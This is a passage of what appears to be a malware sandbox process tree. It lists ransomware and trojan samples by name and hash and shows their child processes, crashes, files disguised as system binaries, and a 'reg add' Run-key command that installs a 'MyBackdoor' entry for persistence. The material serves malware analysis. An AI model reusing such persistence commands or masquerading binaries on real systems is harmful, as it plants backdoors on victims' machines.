                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zS4E8A81B9\arnatic_1.exe" -a
                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                  PID:6820
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c arnatic_2.exe
                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                PID:7624
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4E8A81B9\arnatic_2.exe
                                                                                                                                                                                                                                                  arnatic_2.exe
                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                    PID:7964
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 7964 -s 348
                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                      PID:7900
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c arnatic_3.exe
                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                    PID:7632
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4E8A81B9\arnatic_3.exe
                                                                                                                                                                                                                                                      arnatic_3.exe
                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                        PID:7780
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 1828
                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                          PID:6680
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c arnatic_4.exe
                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                        PID:7644
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4E8A81B9\arnatic_4.exe
                                                                                                                                                                                                                                                          arnatic_4.exe
                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                            PID:7952
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c arnatic_5.exe
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                            PID:7652
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS4E8A81B9\arnatic_5.exe
                                                                                                                                                                                                                                                              arnatic_5.exe
                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                PID:7792
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c arnatic_6.exe
                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                PID:7664
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4E8A81B9\arnatic_6.exe
                                                                                                                                                                                                                                                                  arnatic_6.exe
                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                    PID:7812
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c arnatic_7.exe
                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                    PID:7672
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4E8A81B9\arnatic_7.exe
                                                                                                                                                                                                                                                                      arnatic_7.exe
                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                        PID:3664
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 6100 -s 544
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                      PID:7204
                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00454\HEUR-Trojan.Win32.Crypt.gen-f757eb5bf30b79cf76fc3114bcf8aad799f78a2386a5e79e11035ca67ee5e537.exe
                                                                                                                                                                                                                                                                  HEUR-Trojan.Win32.Crypt.gen-f757eb5bf30b79cf76fc3114bcf8aad799f78a2386a5e79e11035ca67ee5e537.exe
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:2296
                                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\00454\HEUR-Trojan.Win32.Crypt.gen-f757eb5bf30b79cf76fc3114bcf8aad799f78a2386a5e79e11035ca67ee5e537.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\00454\HEUR-Trojan.Win32.Crypt.gen-f757eb5bf30b79cf76fc3114bcf8aad799f78a2386a5e79e11035ca67ee5e537.exe" -a
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                        PID:3452
                                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\00454\Trojan-Ransom.MSIL.Tear.bf-1f5ee073608ec05b656ca1924b246908aaa7d57c46a462c0b12907046ee969d2.exe
                                                                                                                                                                                                                                                                      Trojan-Ransom.MSIL.Tear.bf-1f5ee073608ec05b656ca1924b246908aaa7d57c46a462c0b12907046ee969d2.exe
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:6948
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe"
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                            PID:12152
                                                                                                                                                                                                                                                                        • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Autoit.zpg-0d70a820a6a2be324578524a94c62c5e68f37757aab4cc879d47c5ef75f72f6a.exe
                                                                                                                                                                                                                                                                          Trojan-Ransom.Win32.Autoit.zpg-0d70a820a6a2be324578524a94c62c5e68f37757aab4cc879d47c5ef75f72f6a.exe
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:6104
                                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Blocker.kpuo-b17b06f584035da52e9ce7dcd75354b8b93cbbce2480c3438adbf4db327916a4.exe
                                                                                                                                                                                                                                                                            Trojan-Ransom.Win32.Blocker.kpuo-b17b06f584035da52e9ce7dcd75354b8b93cbbce2480c3438adbf4db327916a4.exe
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:7540
                                                                                                                                                                                                                                                                              • C:\Windows\xk.exe
                                                                                                                                                                                                                                                                                C:\Windows\xk.exe
                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                  PID:11564
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\IExplorer.exe
                                                                                                                                                                                                                                                                                  C:\Windows\system32\IExplorer.exe
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                    PID:11740
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Local Settings\Application Data\WINDOWS\WINLOGON.EXE
                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Local Settings\Application Data\WINDOWS\WINLOGON.EXE"
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:10664
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Local Settings\Application Data\WINDOWS\CSRSS.EXE
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Local Settings\Application Data\WINDOWS\CSRSS.EXE"
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                        PID:7176
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Local Settings\Application Data\WINDOWS\SERVICES.EXE
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Local Settings\Application Data\WINDOWS\SERVICES.EXE"
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                          PID:12104
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Blocker.lckf-bbb8beab915257734710926e2c33935a79501468eab008b44ad4a2b7b4468bf9.exe
                                                                                                                                                                                                                                                                                        Trojan-Ransom.Win32.Blocker.lckf-bbb8beab915257734710926e2c33935a79501468eab008b44ad4a2b7b4468bf9.exe
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:7872
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Blocker.nbgn-4c72c989ec3934ca948969318ee7bab8bf170719129015a0455d41b9c7b95fce.exe
                                                                                                                                                                                                                                                                                          Trojan-Ransom.Win32.Blocker.nbgn-4c72c989ec3934ca948969318ee7bab8bf170719129015a0455d41b9c7b95fce.exe
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:7188
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Blocker.nbgn-4c72c989ec3934ca948969318ee7bab8bf170719129015a0455d41b9c7b95fce.exe
                                                                                                                                                                                                                                                                                              Trojan-Ransom.Win32.Blocker.nbgn-4c72c989ec3934ca948969318ee7bab8bf170719129015a0455d41b9c7b95fce.exe
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                PID:3124
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI71882\sample_pdf.pdf"
                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                    PID:6008
                                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\_MEI71882\sample_pdf.pdf"
                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                        PID:1440
                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                            PID:5552
                                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=3152FEC1F52A516C54ADDB09DFCE330E --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=3152FEC1F52A516C54ADDB09DFCE330E --renderer-client-id=2 --mojo-platform-channel-handle=1684 --allow-no-sandbox-job /prefetch:1
                                                                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                                                                PID:8824
                                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=EC75A4D4C7B40A3E77D13426711FA40F --mojo-platform-channel-handle=1956 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                                  PID:7448
                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=36FF593B43A61BA4E3583A8FE964CEF0 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=36FF593B43A61BA4E3583A8FE964CEF0 --renderer-client-id=4 --mojo-platform-channel-handle=2288 --allow-no-sandbox-job /prefetch:1
                                                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                                                    PID:5860
                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=AEB8B09576521375C342C4E156481802 --mojo-platform-channel-handle=2552 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                                                                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                                                                      PID:9700
                                                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                                                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=3D3C1E725756A03D34CB6C23AD272DDC --mojo-platform-channel-handle=2872 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                                                                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                                                                        PID:10348
                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=F578842CEFFACA500CD79AD82B8B5FC0 --mojo-platform-channel-handle=2556 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                                                                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                                                                          PID:11616
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                                                                                                                                                                                                                                                                    reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MyBackdoor /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\MyBackdoor.exe"
                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                    PID:3884
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Blocker.nbhf-0fd7d5dbad56bc7426d1dbfd58644c610e13ff5ecb4917cec24b264db53f9274.exe
                                                                                                                                                                                                                                                                                                                Trojan-Ransom.Win32.Blocker.nbhf-0fd7d5dbad56bc7426d1dbfd58644c610e13ff5ecb4917cec24b264db53f9274.exe
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:6812
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Blocker.nbhf-0fd7d5dbad56bc7426d1dbfd58644c610e13ff5ecb4917cec24b264db53f9274.exe
                                                                                                                                                                                                                                                                                                                    Trojan-Ransom.Win32.Blocker.nbhf-0fd7d5dbad56bc7426d1dbfd58644c610e13ff5ecb4917cec24b264db53f9274.exe
                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                      PID:7852
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Blocker.nbhh-29d618275b93ef6ee9276495f0374485909d206e1c3033f6b83298cbdbf907d6.exe
                                                                                                                                                                                                                                                                                                                    Trojan-Ransom.Win32.Blocker.nbhh-29d618275b93ef6ee9276495f0374485909d206e1c3033f6b83298cbdbf907d6.exe
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:7724
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\sphost.exe
                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\sphost.exe delete
                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                          PID:4344
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Crypren.ahwu-bd9ec66e8e53f1a07617680ab0dc273203001c94e9e6e65d734d8985a587f7ff.exe
                                                                                                                                                                                                                                                                                                                        Trojan-Ransom.Win32.Crypren.ahwu-bd9ec66e8e53f1a07617680ab0dc273203001c94e9e6e65d734d8985a587f7ff.exe
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:5320
                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Cryptoff.bpc-95c0a69c9c4aa42b540798e5ed8c613134bdf4e4293d90da1043383953fd459c.exe
                                                                                                                                                                                                                                                                                                                          Trojan-Ransom.Win32.Cryptoff.bpc-95c0a69c9c4aa42b540798e5ed8c613134bdf4e4293d90da1043383953fd459c.exe
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:8368
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Cryptoff.bpg-58b103a5ced30bf103737491594ea9cec41a69494cf92322d957c50c20ced83a.exe
                                                                                                                                                                                                                                                                                                                            Trojan-Ransom.Win32.Cryptoff.bpg-58b103a5ced30bf103737491594ea9cec41a69494cf92322d957c50c20ced83a.exe
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:8640
                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Encoder.mzt-4eb2c63f2312b30409f1b58c5ae5507662f4936239535bcc3d0c787aaf00fc8c.exe
                                                                                                                                                                                                                                                                                                                              Trojan-Ransom.Win32.Encoder.mzt-4eb2c63f2312b30409f1b58c5ae5507662f4936239535bcc3d0c787aaf00fc8c.exe
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                PID:8296
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Encoder.ndp-fc9d65f2f6f41009c099e1ab49b6485a166ab9db8a3ec1ab14dee4e6c48ae68f.exe
                                                                                                                                                                                                                                                                                                                                Trojan-Ransom.Win32.Encoder.ndp-fc9d65f2f6f41009c099e1ab49b6485a166ab9db8a3ec1ab14dee4e6c48ae68f.exe
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:4732
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\5516.tmp\5528.bat C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Encoder.ndp-fc9d65f2f6f41009c099e1ab49b6485a166ab9db8a3ec1ab14dee4e6c48ae68f.exe"
                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                      PID:8504
                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\5527.tmp\extd.exe
                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\5527.tmp\extd.exe "/messagebox" "ä«íα« »«ªá½«óáΓ∞ ó ¼áßΓÑα «τ¿ßΓ¬¿!" "æÑ⌐τáß ¡áτ¡±Γß∩ «τ¿ßΓ¬á µ¿Σα«ó«ú« ¼πß«αá. üπñπΓ πñá½Ñ¡δ Γ«½∞¬« ¼πß«α¡δÑ Σá⌐½δ, ¬«Γ«αδÑ ºáí¿óáεΓ ñ¿ß¬«ó«Ñ »α«ßΓαá¡ßΓó«. Å« «¬«¡τá¡¿ε «τ¿ßΓ¬¿ óδ πó¿ñ¿ΓÑ πóÑñ«¼½Ñ¡¿Ñ « ºáóÑαΦÑ¡¿¿ «τ¿ßΓ¬¿." "" "" "" "" "" ""
                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                          PID:10512
                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Encoder.ndq-6d42326a77499df71b235c63703b0d4f4e77db09360c715f8f4312acf000a9b2.exe
                                                                                                                                                                                                                                                                                                                                      Trojan-Ransom.Win32.Encoder.ndq-6d42326a77499df71b235c63703b0d4f4e77db09360c715f8f4312acf000a9b2.exe
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                        PID:9492
                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Encoder.ndq-6d42326a77499df71b235c63703b0d4f4e77db09360c715f8f4312acf000a9b2.exe
                                                                                                                                                                                                                                                                                                                                          Trojan-Ransom.Win32.Encoder.ndq-6d42326a77499df71b235c63703b0d4f4e77db09360c715f8f4312acf000a9b2.exe
                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                            PID:9684
                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Encoder.nfh-f3e891a2a39dd948cd85e1c8335a83e640d0987dbd48c16001a02f6b7c1733ae.exe
                                                                                                                                                                                                                                                                                                                                          Trojan-Ransom.Win32.Encoder.nfh-f3e891a2a39dd948cd85e1c8335a83e640d0987dbd48c16001a02f6b7c1733ae.exe
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:9468
                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.Encoder.nfk-563ac87ded76ae2bef847bee7f5cd8d18ef43f879ab926b1aa7cb8367f4ac59f.exe
                                                                                                                                                                                                                                                                                                                                            Trojan-Ransom.Win32.Encoder.nfk-563ac87ded76ae2bef847bee7f5cd8d18ef43f879ab926b1aa7cb8367f4ac59f.exe
